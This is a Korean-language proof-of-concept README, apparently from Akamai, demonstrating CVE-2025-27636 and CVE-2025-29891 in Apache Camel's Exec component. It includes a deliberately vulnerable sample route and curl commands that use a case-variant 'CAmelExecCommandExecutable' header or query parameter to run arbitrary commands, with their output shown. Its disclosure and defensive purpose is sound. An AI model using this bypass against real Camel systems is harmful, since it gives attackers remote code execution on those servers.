
Apache Camel의 Exec 컴포넌트를 통한 헤더 및 매개변수 필터링 우회(CVE-2025-27636, CVE-2025-29891)를 악용하여 원격 코드 실행을 시연하는 개념 증명(PoC)입니다.
CVE-2025–27636 및 CVE-2025-29891는 Apache Camel의 다음 버전에 영향을 미치는 취약점입니다: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. 이러한 취약점을 악용하면 공격자가 내부 Camel 메서드를 실행할 수 있게 됩니다.
다음은 RCE를 달성하기 위해 악용될 수 있는 Camel Exec 컴포넌트를 활용하는 취약한 샘플 애플리케이션입니다. 다른 Camel 컴포넌트도 유사한 방식으로 악용될 수 있습니다.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
이 앱은 "whoami" 명령을 실행하고 그 결과를 클라이언트에 반환하도록 설계된 HTTP 엔드포인트를 노출합니다. "Exec" Camel 컴포넌트는 코드에 정적으로 정의된 명령을 실행하도록 구성되어 있습니다.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
명령이 정적으로 정의되어 있음에도 불구하고, CamelExecCommandExecutable 헤더를 전달하여 이를 덮어쓸 수 있습니다. 이 헤더는 (문서에 명시된 대로) 정적 URI를 덮어씁니다. Apache Camel은 이러한 헤더를 필터링해야 하지만, 대소문자 처리의 오류로 인해 "CAmelExecCommandExecutable" 헤더를 전달하면 필터를 우회할 수 있습니다.
다음 명령을 실행하면 정적 "whoami" 명령이 무시되고 임의의 명령이 대신 실행됩니다:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
또한 CamelExecCommandArgs 헤더를 지정하여 인자를 전달할 수도 있습니다:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CamelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
"일반적인" 헤더를 전달하면 악용이 실패하고 정적 "whoami" 명령이 정상적으로 실행되는 것을 확인할 수 있습니다:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
처음에는 요청 헤더가 유일한 악용 경로라고 여겨졌습니다. 그러나 Akamai 보안 연구팀이 Apache Camel 개발팀에 추가 악용 경로를 보고하면서 CVE-2025-29891이 할당되었습니다. 이 문제는 CVE-2025-27636과 동일한 필터링 결함에서 비롯되며, 요청 파라미터를 통해 내부 메서드를 호출할 수 있게 합니다.
다음 예제에서는 “CAmelExecCommandExecutable” 쿼리 파라미터를 지정하면 원래의 헤더 악용 방식과 마찬가지로 임의의 명령이 실행되는 것을 확인할 수 있습니다:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
CVE-2025-27636을 수정하기 위해 구현된 원래 패치는 이 문제도 함께 해결하므로, 최신 버전의 Apache Camel을 사용하는 애플리케이션은 이 악용 경로에 취약하지 않습니다.
Copyright 2025 Akamai Technologies Inc.
Apache License 버전 2.0(이하 "라이선스")에 따라 사용이 허가됩니다. 본 라이선스를 준수하지 않는 한 이 파일을 사용할 수 없습니다. 라이선스 사본은 다음에서 받을 수 있습니다:
http://www.apache.org/licenses/LICENSE-2.0
법률에서 요구하거나 서면으로 달리 합의하지 않는 한, 본 라이선스에 따라 배포되는 소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증이나 조건 없이 "있는 그대로"(AS IS) 배포됩니다. 라이선스에 따른 특정 권한 및 제한 사항은 라이선스 전문을 참조하십시오.